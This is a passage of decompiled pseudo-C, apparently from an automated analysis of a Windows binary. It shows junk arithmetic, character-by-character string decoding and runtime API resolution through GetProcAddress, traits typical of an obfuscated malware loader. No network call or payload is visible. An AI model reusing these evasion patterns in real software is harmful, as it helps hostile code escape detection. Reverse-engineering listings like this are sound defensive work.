							_t3392 =  *0x8a9b70; // 0xfe23f735
							 *0x8a9b94 = _t3392 - 0xdc;
							_t3394 =  *0x8a9b28; // 0x3d5d8347
							 *0x8a9aa4 = _t3394 *  *0x8a9b38;
							_t3396 =  *0x8a9b14; // 0xdd124098
							 *0x8a9b84 = _t3396 *  *0x8a9b68;
							_t3398 =  *0x8a9bb4; // 0xe040229e
							 *0x8a9abc = _t3398;
							_t3399 =  *0x8a9b28; // 0x3d5d8347
							 *0x8a9b68 = _t3399;
							_t3400 =  *0x8a9ac8; // 0x9636d2f3
							 *0x8a9a74 = _t3400 -  *0x8a9a5c;
						}
					}
					 *0x8a9aa4 = 0x33 -  *0x8a9a40;
					_t2745 =  *0x8a9a6c; // 0xd2d18e86
					 *0x8a9aa4 = _t2745;
					 *0x8a9b20 = 0;
					E0085E4BC();
					_t2748 =  *0x8a9a1c; // 0x0
					_v120 = _t2748;
					if(_v120 != 0) {
						_v120 =  *((intOrPtr*)(_v120 - 4));
					}
					if(_v120 != 7) {
						_t2749 =  *0x8a9b34; // 0x535bf358
						_t4649 =  *0x8a9a6c; // 0xd2d18e86
						__eflags = _t2749 +  *0x8a9b20 - _t4649 +  *0x8a9b34;
						if(_t2749 +  *0x8a9b20 < _t4649 +  *0x8a9b34) {
							_t3369 =  *0x8a9b80; // 0xdae75771
							 *0x8a9a5c = _t3369 -  *0x8a9b34;
							_t3371 =  *0x8a9b68; // 0xf78b0ce5
							 *0x8a9b4c = _t3371 -  *0x8a9b68;
							asm("fild dword [0x8a9b18]");
							 *0x8a9aa0 = E004076F4();
							_t3374 =  *0x8a9b44; // 0xd1f819c4
							 *0x8a9b38 = _t3374;
							_t3375 =  *0x8a9b6c; // 0x9636d26c
							 *0x8a9bbc = _t3375 - 0xc;
							_t3377 =  *0x8a9a50; // 0x21bb532
							_t3378 = _t3377 - 9;
							__eflags = _t3378;
							 *0x8a9aa0 = _t3378;
						}
					} else {
						_t3379 =  *0x8a99e0; // 0x5d9ca450
						 *0x8a9b84 = _t3379 + 0x4c;
					}
					_t2751 =  *0x8a9ba0; // 0x9636d2e0
					 *0x8a9b20 = _t2751 + 0x43;
					_t2753 =  *0x8a9f40; // 0x8b0925
					_v121 =  *_t2753;
					if(_v121 + 0x9f - 0x1a < 0) {
						_v121 = _v121 - 0x20;
					}
					_t2758 =  *0x8a9e34; // 0x8b091e
					_v122 =  *_t2758;
					if(_v122 + 0x9f - 0x1a < 0) {
						_v122 = _v122 - 0x20;
					}
					_t2763 =  *0x8aa0b4; // 0x8b091f
					_v123 =  *_t2763;
					if(_v123 + 0x9f - 0x1a < 0) {
						_v123 = _v123 - 0x20;
					}
					_t2768 =  *0x8aa104; // 0x8b0919
					_v124 =  *_t2768;
					if(_v124 + 0x9f - 0x1a < 0) {
						_v124 = _v124 - 0x20;
					}
					E0040A3C0(0);
					_push(_v1540);
					E0040A3C0(0);
					_push(_v1544);
					E0040A3C0(0);
					_push(_v1548);
					E0040A3C0(0);
					_push(_v1552);
					E0040A3C0(0);
					_push(_v1556);
					E0040A3C0(0);
					_push(_v1560);
					E0040A3C0(0);
					_push(_v1564);
					E0040A3C0(0);
					_push(_v1568);
					E0040A3C0(0);
					_push(_v1572);
					E0040A3C0(0);
					_push(_v1576);
					E0040A3C0(0);
					_push(_v1580);
					E0040A3C0(0);
					_push(_v1584);
					E0040A3C0(0);
					_push(_v1588);
					E0040A3C0(0);
					_push(_v1592);
					E0040A3C0(0);
					_push(_v1596);
					E0040A3C0(0);
					_push(_v1600);
					E0040A3C0(0);
					_push(_v1604);
					E0040A494( &_v1536, _t3910, 0x11, _t5187, _t5188);
					 *0x8b1258 = GetProcAddress(_v8, E0040A594(_v1536));
					_v64 = 0;
					if(_v64 < 9) {
						_v64 = _v64 + 1;
						_t3366 =  *0x8a9a5c; // 0xf78b0ce5
						 *0x8a9b24 = _t3366;
						_v52 = _v44 - 0x6c;
					}
					_t2814 =  *0x8a9b34; // 0x535bf358
					_t5305 = _t2814 -  *0x8a9b4c; // 0x3d5d8266
					if(_t5305 > 0) {
						if(_v56 + _v60 != _v60) {
							asm("fild dword [0x8a9b6c]");
							 *0x8a9a58 = E004076E8();
							 *0x8a9b08 = 0xf1 -  *0x8a9b24;
							_t3329 =  *0x8a9b18; // 0x12e
							 *0x8a9b94 = _t3329 *  *0x8a9b6c;
							_t3331 =  *0x8a9ab8; // 0x3d5d8300
							 *0x8a9aa4 = _t3331 + E008A9A8C;
							_t3333 =  *0x8a9b2c; // 0xb9629498
							 *0x8a9b70 = _t3333;
							_t3334 =  *0x8a9a38; // 0x299e4f10
							_t3335 = _t3334 + 0x45;
							__eflags = _t3335;
							 *0x8a9a9c = _t3335;
						} else {
							_v68 = _v36 + 0xa6;
							_v424 = _v24 + 4;
							asm("fild dword [ebp-0x1a4]");
							_v76 = E004076F4();
							_v32 = _v28 * 0xd7;
							_t3360 =  *0x8a9bc0; // 0x23fd0ad
							 *0x8a9ae0 = _t3360 + 4;
							_t3362 =  *0x8a9ba0; // 0x9636d2e0
							 *0x8a9bbc = _t3362 *  *0x8a9bb0;
							_t3364 =  *0x8a9a34; // 0x3ea7bd43
							 *0x8a9b08 = _t3364 +  *0x8a9b64;
						}
						_t3336 =  *0x8a9a5c; // 0xf78b0ce5
						 *0x8a9af0 = _t3336;
						_t3337 =  *0x8a9b78; // 0xe152
						 *0x8a9ba0 = _t3337;
						_t3338 =  *0x8a9a70; // 0x9636d1f8
						 *0x8a9a70 = E00407278(_t3338);
						_t3340 =  *0x8a9a70; // 0x9636d1f8
						_t5307 = _t3340 -  *0x8a9ba0; // 0x9636d2e0
						if(_t5307 > 0) {
							_t3343 =  *0x8a9ad4; // 0xa40b347
							 *0x8a9ba0 = _t3343 + 0xb;
							_t3345 =  *0x8a9b78; // 0xe152
							 *0x8a9ad8 = _t3345 - 6;
							asm("fild dword [0x8a9b38]");
							 *0x8a9b30 = E004076F4();
							_t3348 =  *0x8a9a88; // 0xc94a8400
							 *0x8a9ba4 = _t3348 *  *0x8a9ba4;
							_t3350 = E008A9A8C; // 0x3ec86c80
							 *0x8a9a90 = _t3350 *  *0x8a9b38;
							_t3352 =  *0x8a9b04; // 0xa55456c0
							 *0x8a9b5c = _t3352 - 0x2b;
						}
						E0040A0C0( &_v12, _v20);
					}
					_t2815 =  *0x8a9b50; // 0x3ea7bd43
					 *0x8a9b14 = _t2815;
					if(_v64 + _v56 != _v56) {
						_t2818 =  *0x8a9b08; // 0x5d9ca454
						_t2819 = _t2818 +  *0x8a9af4;
						__eflags = _t2819;
						 *0x8a9ba4 = _t2819;
					} else {
						asm("fild dword [0x8a9ad8]");
						 *0x8a9b38 = E004076E8();
					}
					_t2820 =  *0x8a9b34; // 0x535bf358
					_v424 = _t2820 + 4;
					asm("fild dword [ebp-0x1a4]");
					 *0x8a9b4c = E004076F4();
					E0040A0C0( &_v12, _v16);
					_t2825 =  *0x8a9f40; // 0x8b0925
					_v125 =  *_t2825;
					if(_v125 + 0x9f - 0x1a < 0) {
						_v125 = _v125 - 0x20;
					}
					_t2830 =  *0x8aa15c; // 0x8b091c
					_v126 =  *_t2830;
					if(_v126 + 0x9f - 0x1a < 0) {
						_v126 = _v126 - 0x20;
					}
					_t2835 =  *0x8aa1dc; // 0x8b0921
					_v127 =  *_t2835;
					if(_v127 + 0x9f - 0x1a < 0) {
						_v127 = _v127 - 0x20;
					}
					E0040A3C0(0);
					_push(_v1612);
					E0040A3C0(0);
					_push(_v1616);
					E0040A3C0(0);
					_push(_v1620);
					E0040A3C0(0);
					_push(_v1624);
					E0040A3C0(0);
					_push(_v1628);
					E0040A3C0(0);
					_push(_v1632);
					E0040A3C0(0);
					_push(_v1636);
					E0040A3C0(0);
					_push(_v1640);
					E0040A3C0(0);
					_push(_v1644);
					E0040A3C0(0);
					_push(_v1648);
					E0040A3C0(0);
					_push(_v1652);
					E0040A3C0(0);
					_push(_v1656);
					E0040A3C0(0);
					_push(_v1660);
					E0040A3C0(0);
					_push(_v1664);
					E0040A494( &_v1608, _t3910, 0xe, _t5187, _t5188);
					 *0x8b1254 = GetProcAddress(_v8, E0040A594(_v1608));
					_v36 = 0;
					E0085E4BC();
					_t2876 =  *0x8a9a40; // 0x535bf37f
					 *0x8a9ac0 = _t2876;
					_v64 = 0;
					while(_v64 < 8) {
						_v64 = _v64 + 1;
						_v68 = 0;
						while(_v68 < 7) {
							_v68 = _v68 + 1;
							_v76 = _v60 * _v28;
							_v32 = _v48 * _v24;
							_v40 = _v56 - 0xf5;
							_t3318 = E008A9A8C; // 0x3ec86c80
							 *0x8a9b20 = _t3318 +  *0x8a9b00;
							_t3320 =  *0x8a99e4; // 0xffdbe445
							 *0x8a9bb4 = _t3320 - 0xe8;
							 *0x8a9ae4 =  *0x8a9af0 * 0xe3;
						}
					}
					E0040ACEC(_v20, 2, 1,  &_v12);
					 *0x8a9b60 = 0;
					E0085E4BC();
					 *0x8a9af4 = 0xb9 -  *0x8a9adc;
					_t2885 =  *0x8a9f40; // 0x8b0925
					_v128 =  *_t2885;
					if(_v128 + 0x9f - 0x1a < 0) {
						_v128 = _v128 - 0x20;
					}
					_t2890 =  *0x8aa15c; // 0x8b091c
					_v129 =  *_t2890;
					if(_v129 + 0x9f - 0x1a < 0) {
						_v129 = _v129 - 0x20;
					}
					_t2895 =  *0x8aa0b4; // 0x8b091f
					_v130 =  *_t2895;
					if(_v130 + 0x9f - 0x1a < 0) {
						_v130 = _v130 - 0x20;
					}
					E0040A3C0(0);
					_push(_v1672);
					E0040A3C0(0);
					_push(_v1676);
					E0040A3C0(0);
					_push(_v1680);
					E0040A3C0(0);
					_push(_v1684);
					E0040A3C0(0);
					_push(_v1688);
					E0040A3C0(0);
					_push(_v1692);
					E0040A3C0(0);
					_push(_v1696);
					E0040A3C0(0);
					_push(_v1700);
					E0040A3C0(0);
					_push(_v1704);
					E0040A3C0(0);
					_push(_v1708);
					E0040A3C0(0);
					_push(_v1712);
					E0040A3C0(0);
					_push(_v1716);
					E0040A3C0(0);
					_push(_v1720);
					E0040A3C0(0);
					_push(_v1724);
					E0040A3C0(0);
					_push(_v1728);
					E0040A3C0(0);
					_push(_v1732);
					E0040A494( &_v1668, _t3910, 0x10, _t5187, _t5188);
					 *0x8b125c = GetProcAddress(_v8, E0040A594(_v1668));
					_t2938 =  *0x8a9e34; // 0x8b091e
					_v131 =  *_t2938;
					if(_v131 + 0x9f - 0x1a < 0) {
						_v131 = _v131 - 0x20;
					}
					_t2943 =  *0x8a9f40; // 0x8b0925
					_v132 =  *_t2943;
					if(_v132 + 0x9f - 0x1a < 0) {
						_v132 = _v132 - 0x20;
					}
					_t2948 =  *0x8aa0b4; // 0x8b091f
					_v133 =  *_t2948;
					if(_v133 + 0x9f - 0x1a < 0) {
						_v133 = _v133 - 0x20;
					}
					_t2953 =  *0x8aa104; // 0x8b0919
					_v134 =  *_t2953;
					if(_v134 + 0x9f - 0x1a < 0) {
						_v134 = _v134 - 0x20;
					}
					_t2958 =  *0x8a9cf4; // 0x8b0911
					_v135 =  *_t2958;
					if(_v135 + 0x9f - 0x1a < 0) {
						_v135 = _v135 - 0x20;
					}
					E0040A3C0(0);
					_push(_v1740);
					E0040A3C0(0);
					_push(_v1744);
					E0040A3C0(0);
					_push(_v1748);
					E0040A3C0(0);
					_push(_v1752);
					E0040A3C0(0);
					_push(_v1756);
					E0040A3C0(0);
					_push(_v1760);
					E0040A3C0(0);
					_push(_v1764);
					E0040A3C0(0);
					_push(_v1768);
					E0040A3C0(0);
					_push(_v1772);
					E0040A3C0(0);
					_push(_v1776);
					E0040A3C0(0);
					_push(_v1780);
					E0040A3C0(0);
					_push(_v1784);
					E0040A3C0(0);
					_push(_v1788);
					E0040A3C0(0);
					_push(_v1792);
					E0040A3C0(0);
					_push(_v1796);
					E0040A3C0(0);
					_push(_v1800);
					E0040A3C0(0);
					_push(_v1804);
					E0040A3C0(0);
					_push(_v1808);
					E0040A3C0(0);
					_push(_v1812);
					E0040A3C0(0);
					_push(_v1816);
					E0040A494( &_v1736, _t3910, 0x14, _t5187, _t5188);
					 *0x8b1240 = GetProcAddress(_v8, E0040A594(_v1736));
					_v52 = _v48 + 4;
					_v64 = 0;
					if(_v64 >= 9) {
						L200:
						_t3012 =  *0x8a9e34; // 0x8b091e
						_v151 =  *_t3012;
						__eflags = _v151 + 0x9f - 0x1a;
						if(_v151 + 0x9f - 0x1a < 0) {
							_t1564 =  &_v151;
							 *_t1564 = _v151 - 0x20;
							__eflags =  *_t1564;
						}
						_t3017 =  *0x8aa080; // 0x8b0916
						_v152 =  *_t3017;
						__eflags = _v152 + 0x9f - 0x1a;
						if(_v152 + 0x9f - 0x1a < 0) {
							_t1568 =  &_v152;
							 *_t1568 = _v152 - 0x20;
							__eflags =  *_t1568;
						}
						_t3022 =  *0x8aa104; // 0x8b0919
						_v153 =  *_t3022;
						__eflags = _v153 + 0x9f - 0x1a;
						if(_v153 + 0x9f - 0x1a < 0) {
							_t1572 =  &_v153;
							 *_t1572 = _v153 - 0x20;
							__eflags =  *_t1572;
						}
						_t3027 =  *0x8aa080; // 0x8b0916
						_v154 =  *_t3027;
						__eflags = _v154 + 0x9f - 0x1a;
						if(_v154 + 0x9f - 0x1a < 0) {
							_t1576 =  &_v154;
							 *_t1576 = _v154 - 0x20;
							__eflags =  *_t1576;
						}
						_t3032 =  *0x8a9fd0; // 0x8b0917
						_v155 =  *_t3032;
						__eflags = _v155 + 0x9f - 0x1a;
						if(_v155 + 0x9f - 0x1a < 0) {
							_t1580 =  &_v155;
							 *_t1580 = _v155 - 0x20;
							__eflags =  *_t1580;
						}
						_t3037 =  *0x8a9f14; // 0x8b0922
						_v156 =  *_t3037;
						__eflags = _v156 + 0x9f - 0x1a;
						if(_v156 + 0x9f - 0x1a < 0) {
							_t1584 =  &_v156;
							 *_t1584 = _v156 - 0x20;
							__eflags =  *_t1584;
						}
						E0040A3C0(0);
						_push(_v1944);
						E0040A3C0(0);
						_push(_v1948);
						E0040A3C0(0);
						_push(_v1952);
						E0040A3C0(0);
						_push(_v1956);
						E0040A3C0(0);
						_push(_v1960);
						E0040A3C0(0);
						_push(_v1964);
						E0040A3C0(0);
						_push(_v1968);
						E0040A3C0(0);
						_push(_v1972);
						E0040A3C0(0);
						_push(_v1976);
						E0040A3C0(0);
						_push(_v1980);
						E0040A3C0(0);
						_push(_v1984);
						E0040A3C0(0);
						_push(_v1988);
						E0040A3C0(0);
						_push(_v1992);
						E0040A3C0(0);
						_push(_v1996);
						E0040A3C0(0);
						_push(_v2000);
						E0040A3C0(0);
						_push(_v2004);
						E0040A3C0(0);
						_push(_v2008);
						E0040A3C0(0);
						_push(_v2012);
						E0040A3C0(0);
						_push(_v2016);
						E0040A3C0(0);
						_push(_v2020);
						E0040A3C0(0);
						_push(_v2024);
						E0040A3C0(0);
						_push(_v2028);
						E0040A3C0(0);
						_push(_v2032);
						E0040A3C0(0);
						_push(_v2036);
						E0040A3C0(0);
						_push(_v2040);
						E0040A3C0(0);
						_push(_v2044);
						E0040A3C0(0);
						E0040A494( &_v1940, _t3910, 0x1b, _t5187, _t5188);
						E0040A9E8( &_v20, _v1940, _v2048);
						E0040A0C0( &_v12, _v20);
						E0040A0C0( &_v16, _v12);
						_push(_t5190);
						_push(0x862ccb);
						_push( *[fs:eax]);
						 *[fs:eax] = _t5191;
						_t3105 =  *0x8a9f40; // 0x8b0925
						_v157 =  *_t3105;
						__eflags = _v157 + 0x9f - 0x1a;
						if(_v157 + 0x9f - 0x1a < 0) {
							_t1655 =  &_v157;
							 *_t1655 = _v157 - 0x20;
							__eflags =  *_t1655;
						}
						_t3110 =  *0x8aa0b8; // 0x8b0928
						_v158 =  *_t3110;
						__eflags = _v158 + 0x9f - 0x1a;
						if(_v158 + 0x9f - 0x1a < 0) {
							_t1659 =  &_v158;
							 *_t1659 = _v158 - 0x20;
							__eflags =  *_t1659;
						}
						_t3115 =  *0x8a9fcc; // 0x8b0927
						_v159 =  *_t3115;
						__eflags = _v159 + 0x9f - 0x1a;
						if(_v159 + 0x9f - 0x1a < 0) {
							_t1663 =  &_v159;
							 *_t1663 = _v159 - 0x20;
							__eflags =  *_t1663;
						}
						_t3120 =  *0x8a9d20; // 0x8b0920
						_v160 =  *_t3120;
						__eflags = _v160 + 0x9f - 0x1a;
						if(_v160 + 0x9f - 0x1a < 0) {
							_t1667 =  &_v160;
							 *_t1667 = _v160 - 0x20;
							__eflags =  *_t1667;
						}
						_t3125 =  *0x8a9c3c; // 0x8b0918
						_v161 =  *_t3125;
						__eflags = _v161 + 0x9f - 0x1a;
						if(_v161 + 0x9f - 0x1a < 0) {
							_t1671 =  &_v161;
							 *_t1671 = _v161 - 0x20;
							__eflags =  *_t1671;
						}
						_t3130 =  *0x8aa104; // 0x8b0919
						_v162 =  *_t3130;
						__eflags = _v162 + 0x9f - 0x1a;
						if(__eflags < 0) {
							_t1675 =  &_v162;
							 *_t1675 = _v162 - 0x20;
							__eflags =  *_t1675;
						}
						E0040A3C0(0);
						_push(_v2052);
						E0040A3C0(0);
						_push(_v2056);
						E0040A3C0(0);
						_push(_v2060);
						E0040A3C0(0);
						_push(_v2064);
						E0040A3C0(0);
						_push(_v2068);
						E0040A3C0(0);
						_push(_v2072);
						E006BA5A8(7,  &_v2076, __eflags);
						_push(_v2076);
						E0040A494( &_v168, _t3910, 7, _t5187, _t5188);
						_t3151 =  *0x8a9ce4; // 0x8b0912
						_v163 =  *_t3151;
						__eflags = _v163 + 0x9f - 0x1a;
						if(_v163 + 0x9f - 0x1a < 0) {
							_t1700 =  &_v163;
							 *_t1700 = _v163 - 0x20;
							__eflags =  *_t1700;
						}
						_t3156 =  *0x8aa15c; // 0x8b091c
						_v169 =  *_t3156;
						__eflags = _v169 + 0x9f - 0x1a;
						if(_v169 + 0x9f - 0x1a < 0) {
							_t1704 =  &_v169;
							 *_t1704 = _v169 - 0x20;
							__eflags =  *_t1704;
						}
						_t3161 =  *0x8a9f14; // 0x8b0922
						_v170 =  *_t3161;
						__eflags = _v170 + 0x9f - 0x1a;
						if(_v170 + 0x9f - 0x1a < 0) {
							_t1708 =  &_v170;
							 *_t1708 = _v170 - 0x20;
							__eflags =  *_t1708;
						}
						_t3166 =  *0x8a9f14; // 0x8b0922
						_v171 =  *_t3166;
						__eflags = _v171 + 0x9f - 0x1a;
						if(_v171 + 0x9f - 0x1a < 0) {
							_t1712 =  &_v171;
							 *_t1712 = _v171 - 0x20;
							__eflags =  *_t1712;
						}
						_push(_v168);
						E0040A3C0(0);
						_push(_v2084);
						_push(0x86f534);
						E0040A3C0(0);
						_push(_v2088);
						E0040A3C0(0);
						_push(_v2092);
						E0040A3C0(0);
						E0040A494( &_v2080, _t3910, 6, _t5187, _t5188);
						E0040A9E8( &_v20, _v2080, _v2096);
						__eflags = 0;
						_pop(_t4842);
						 *[fs:eax] = _t4842;
						_push(0x862cd2);
						return E00409CBC( &_v168);
					} else {
						while(1) {
							_v64 = _v64 + 1;
							if(_v60 - _v76 < 0x43) {
								break;
							}
							__eflags = _v64 - 9;
							if(_v64 < 9) {
								continue;
							} else {
								goto L200;
							}
							goto L252;
						}
						_v72 = _v36 * _v24;
						_v28 = _v44 + 4;
						E0040A0C0( &_v16, _v16);
						_t3194 =  *0x8a9ffc; // 0x8b091a
						_v136 =  *_t3194;
						if(_v136 + 0x9f - 0x1a < 0) {
							_v136 = _v136 - 0x20;
						}
						_t3199 =  *0x8a9fbc; // 0x8b0929
						_v137 =  *_t3199;
						if(_v137 + 0x9f - 0x1a < 0) {
							_v137 = _v137 - 0x20;
						}
						_t3204 =  *0x8a9ffc; // 0x8b091a
						_v138 =  *_t3204;
						if(_v138 + 0x9f - 0x1a < 0) {
							_v138 = _v138 - 0x20;
						}
						E0040A3C0(0);
						_push(_v1824);
						E0040A3C0(0);
						_push(_v1828);
						E0040A3C0(0);
						_push(_v1832);
						E0040A3C0(0);
						_push(_v1836);
						E0040A3C0(0);
						_push(_v1840);
						E0040A3C0(0);
						_push(_v1844);
						E0040A3C0(0);
						_push(_v1848);
						E0040A3C0(0);
						_push(_v1852);
						E0040A3C0(0);
						_push(_v1856);
						E0040A3C0(0);
						_push(_v1860);
						E0040A3C0(0);
						_push(_v1864);
						E0040A3C0(0);
						_push(_v1868);
						E0040A3C0(0);
						_push(_v1872);
						E0040A3C0(0);
						_push(_v1876);
						E0040A3C0(0);
						E0040A494( &_v1820, _t3910, 0xf, _t5187, _t5188);
						E0040A9E8( &_v16, _v1820, _v1880);
						E0040A0C0( &_v12, _v16);
						_push(_t5190);
						_push(0x8625da);
						_push( *[fs:eax]);
						 *[fs:eax] = _t5191;
						_t3246 =  *0x8aa02c; // 0x8b0926
						_v139 =  *_t3246;
						if(_v139 + 0x9f - 0x1a < 0) {
							_v139 = _v139 - 0x20;
						}
						_t3251 =  *0x8aa080; // 0x8b0916
						_v140 =  *_t3251;
						if(_v140 + 0x9f - 0x1a < 0) {
							_v140 = _v140 - 0x20;
						}
						_t3256 =  *0x8a9fd0; // 0x8b0917
						_v141 =  *_t3256;
						if(_v141 + 0x9f - 0x1a < 0) {
							_t1509 =  &_v141;
							 *_t1509 = _v141 - 0x20;
							_t5349 =  *_t1509;
						}
						E0040A3C0(0);
						_push(_v1884);
						E0040A3C0(0);
						_push(_v1888);
						E0040A3C0(0);
						_push(_v1892);
						E0040A3C0(0);
						_push(_v1896);
						E0040A3C0(0);
						_push(_v1900);
						E006BA5A8(2,  &_v1904, _t5349);
						_push(_v1904);
						E0040A494( &_v148, _t3910, 6, _t5187, _t5188);
						_t3275 =  *0x8a9e00; // 0x8b091d
						_v142 =  *_t3275;
						if(_v142 + 0x9f - 0x1a < 0) {
							_v142 = _v142 - 0x20;
						}
						_t3280 =  *0x8aa080; // 0x8b0916
						_v149 =  *_t3280;
						if(_v149 + 0x9f - 0x1a < 0) {
							_v149 = _v149 - 0x20;
						}
						_t3285 =  *0x8a9fd0; // 0x8b0917
						_v150 =  *_t3285;
						if(_v150 + 0x9f - 0x1a < 0) {
							_t1537 =  &_v150;
							 *_t1537 = _v150 - 0x20;
							_t5355 =  *_t1537;
						}
						_push(_v148);
						E0040A3C0(0);
						_push(_v1912);
						E0040A3C0(0);
						_push(_v1916);
						E0040A3C0(0);
						_push(_v1920);
						E0040A3C0(0);
						_push(_v1924);
						E0040A3C0(0);
						_push(_v1928);
						E0040A3C0(0);
						_push(_v1932);
						E006BA5A8(1,  &_v1936, _t5355);
						E0040A494( &_v1908, _t3910, 8, _t5187, _t5188);
						E0040A9E8( &_v20, _v1908, _v1936);
						_pop(_t4896);
						 *[fs:eax] = _t4896;
						_push(E008625E1);
						return E00409CBC( &_v148);
					}
				}
				L252:
				L1:
				_push(0);
				_push(0);
				_t3911 = _t3911 - 1;
				if(_t3911 != 0) {
					goto L1;
				} else {
					_push(_t3911);
					_push(__ebx);
					_push(__esi);
					_push(__edi);
					_push(_t5190);
					_push(0x86f3c3);
					_push( *[fs:eax]);
					 *[fs:eax] = _t5191;
					_t1874 =  *0x8a99d4; // 0x0
					_v80 = _t1874;
					if(_v80 != 0) {
						_v80 =  *((intOrPtr*)(_v80 - 4));
					}
					if(_v80 != 0x42) {
						E0040A0C0( &_v20, _v20);
					} else {
						if(_v56 <= _v68) {
							E0040A0C0( &_v16, _v12);
							E0040A0C0( &_v12, _v20);
							__eflags = 0;
							E0040ACEC(_v12, 0, 1,  &_v20);
							E0040A0C0( &_v16, _v20);
							E0040A0C0( &_v12, _v20);
							E0040A0C0( &_v16, _v12);
						} else {
							_v64 = _v28 + 0x7a;
							_v72 = _v40 + 0x79;
							_v48 = _v76 * _v24;
							_v44 = _v60 + _v32;
							E0040A0C0( &_v16, _v12);
							_t3865 =  &_v412;
							_t5154 =  *0x8a9e34; // 0x8b091e
							 *((char*)(_t3865 + 1)) =  *_t5154;
							 *_t3865 = 1;
							E0040A324( &_v416,  &_v412);
							_t3868 =  &_v420;
							_t5157 =  *0x8a9f40; // 0x8b0925
							 *((char*)(_t3868 + 1)) =  *_t5157;
							 *_t3868 = 1;
							E0040A34C( &_v416, 2,  &_v420);
							E0040A324( &_v424,  &_v416);
							_t3873 =  &_v420;
							_t5161 =  *0x8aa15c; // 0x8b091c
							 *((char*)(_t3873 + 1)) =  *_t5161;
							 *_t3873 = 1;
							E0040A34C( &_v424, 3,  &_v420);
							E0040A324( &_v432,  &_v424);
							_t3878 =  &_v420;
							_t5165 =  *0x8a9ce4; // 0x8b0912
							 *((char*)(_t3878 + 1)) =  *_t5165;
							 *_t3878 = 1;
							E0040A34C( &_v432, 4,  &_v420);
							E0040A324( &_v440,  &_v432);
							_t3883 =  &_v420;
							_t5169 =  *0x8a9e00; // 0x8b091d
							 *((char*)(_t3883 + 1)) =  *_t5169;
							 *_t3883 = 1;
							E0040A34C( &_v440, 5,  &_v420);
							E0040A324( &_v448,  &_v440);
							E0040A34C( &_v448, 6, 0x86f3d4);
							E0040A324( &_v456,  &_v448);
							_t3892 =  &_v420;
							_t5175 =  *0x8aa15c; // 0x8b091c
							 *((char*)(_t3892 + 1)) =  *_t5175;
							 *_t3892 = 1;
							E0040A34C( &_v456, 7,  &_v420);
							E0040A324( &_v468,  &_v456);
							_t3897 =  &_v420;
							_t5179 =  *0x8a9f14; // 0x8b0922
							 *((char*)(_t3897 + 1)) =  *_t5179;
							 *_t3897 = 1;
							E0040A34C( &_v468, 8,  &_v420);
							E0040A324( &_v480,  &_v468);
							_t3902 =  &_v420;
							_t5183 =  *0x8a9f14; // 0x8b0922
							 *((char*)(_t3902 + 1)) =  *_t5183;
							 *_t3902 = 1;
							E0040A34C( &_v480, 9,  &_v420);
							E0040AA98( &_v480);
						}
						E0040A0C0( &_v12, _v16);
					}
					E0040A0C0( &_v20, _v20);
					E0040A0C0( &_v12, _v16);
					if(_v28 - _v48 != _v60) {
						E0040A0C0( &_v16, _v16);
					} else {
						if(_v76 + _v76 >= _v32 + _v76) {
							E0040A0C0( &_v20, L"api-ms-win-crt-process-l1-1-0.dll");
							E0040A0C0( &_v12, _v12);
							E0040A0C0( &_v12, _v16);
							E0040ACEC(_v20, 2, 1,  &_v20);
							E0040A0C0( &_v12, _v16);
							E0040ACEC(_v20, 2, 1,  &_v16);
						} else {
							E0040A0C0( &_v12, _v20);
							E0040ACEC(_v12, 0, 1,  &_v16);
							_t3776 =  &_v412;
							_t5097 =  *0x8a9ce4; // 0x8b0912
							 *((char*)(_t3776 + 1)) =  *_t5097;
							 *_t3776 = 1;
							E0040A324( &_v416,  &_v412);
							_t3779 =  &_v420;
							_t5100 =  *0x8aa02c; // 0x8b0926
							 *((char*)(_t3779 + 1)) =  *_t5100;
							 *_t3779 = 1;
							E0040A34C( &_v416, 2,  &_v420);
							E0040A324( &_v424,  &_v416);
							_t3784 =  &_v420;
							_t5104 =  *0x8a9ce4; // 0x8b0912
							 *((char*)(_t3784 + 1)) =  *_t5104;
							 *_t3784 = 1;
							E0040A34C( &_v424, 3,  &_v420);
							E0040A324( &_v432,  &_v424);
							_t3789 =  &_v420;
							_t5108 =  *0x8aa0b8; // 0x8b0928
							 *((char*)(_t3789 + 1)) =  *_t5108;
							 *_t3789 = 1;
							E0040A34C( &_v432, 4,  &_v420);
							E0040A324( &_v440,  &_v432);
							_t3794 =  &_v420;
							_t5112 =  *0x8a9f34; // 0x8b0914
							 *((char*)(_t3794 + 1)) =  *_t5112;
							 *_t3794 = 1;
							E0040A34C( &_v440, 5,  &_v420);
							E0040A324( &_v448,  &_v440);
							_t3799 =  &_v420;
							_t5116 =  *0x8a9f40; // 0x8b0925
							 *((char*)(_t3799 + 1)) =  *_t5116;
							 *_t3799 = 1;
							E0040A34C( &_v448, 6,  &_v420);
							E0040A324( &_v456,  &_v448);
							_t3804 =  &_v420;
							_t5120 =  *0x8a9f14; // 0x8b0922
							 *((char*)(_t3804 + 1)) =  *_t5120;
							 *_t3804 = 1;
							E0040A34C( &_v456, 7,  &_v420);
							E0040A324( &_v468,  &_v456);
							_t3809 =  &_v420;
							_t5124 =  *0x8aa288; // 0x8b091b
							 *((char*)(_t3809 + 1)) =  *_t5124;
							 *_t3809 = 1;
							E0040A34C( &_v468, 8,  &_v420);
							E0040A324( &_v480,  &_v468);
							E0040A34C( &_v480, 9, 0x86f3d4);
							E0040A324( &_v492,  &_v480);
							_t3818 =  &_v420;
							_t5130 =  *0x8aa15c; // 0x8b091c
							 *((char*)(_t3818 + 1)) =  *_t5130;
							 *_t3818 = 1;
							E0040A34C( &_v492, 0xa,  &_v420);
							E0040A324( &_v504,  &_v492);
							_t3823 =  &_v420;
							_t5134 =  *0x8a9f14; // 0x8b0922
							 *((char*)(_t3823 + 1)) =  *_t5134;
							 *_t3823 = 1;
							E0040A34C( &_v504, 0xb,  &_v420);
							E0040A324( &_v520,  &_v504);
							_t3828 =  &_v420;
							_t5138 =  *0x8a9f14; // 0x8b0922
							 *((char*)(_t3828 + 1)) =  *_t5138;
							 *_t3828 = 1;
							E0040A34C( &_v520, 0xc,  &_v420);
							E0040AA98( &_v520);
							E0040A0C0( &_v12, _v20);
							E0040A0C0( &_v12, L"wmpshell.dll");
							E0040A0C0( &_v16, L"NetLocalGroupGetInfo");
						}
					}
					E0040A0C0( &_v20, _v16);
					if(_v76 - _v60 < 0xd0) {
						E0040A0C0( &_v20, L"FXSCOM.dll");
					}
				}
				goto L17;
			}

0x0085e760
0x0085e760
0x0085e760
0x0085e761
0x0085e763
0x0085e763
0x0085ed8f
0x0085ed91
0x0085ed92
0x0085ed97
0x0085ed9a
0x0085eda3
0x0085eda8
0x0085edad
0x0085edba
0x0085edc5
0x0085edc9
0x0085edd2
0x0085edd8
0x0085ede3
0x0085ede6
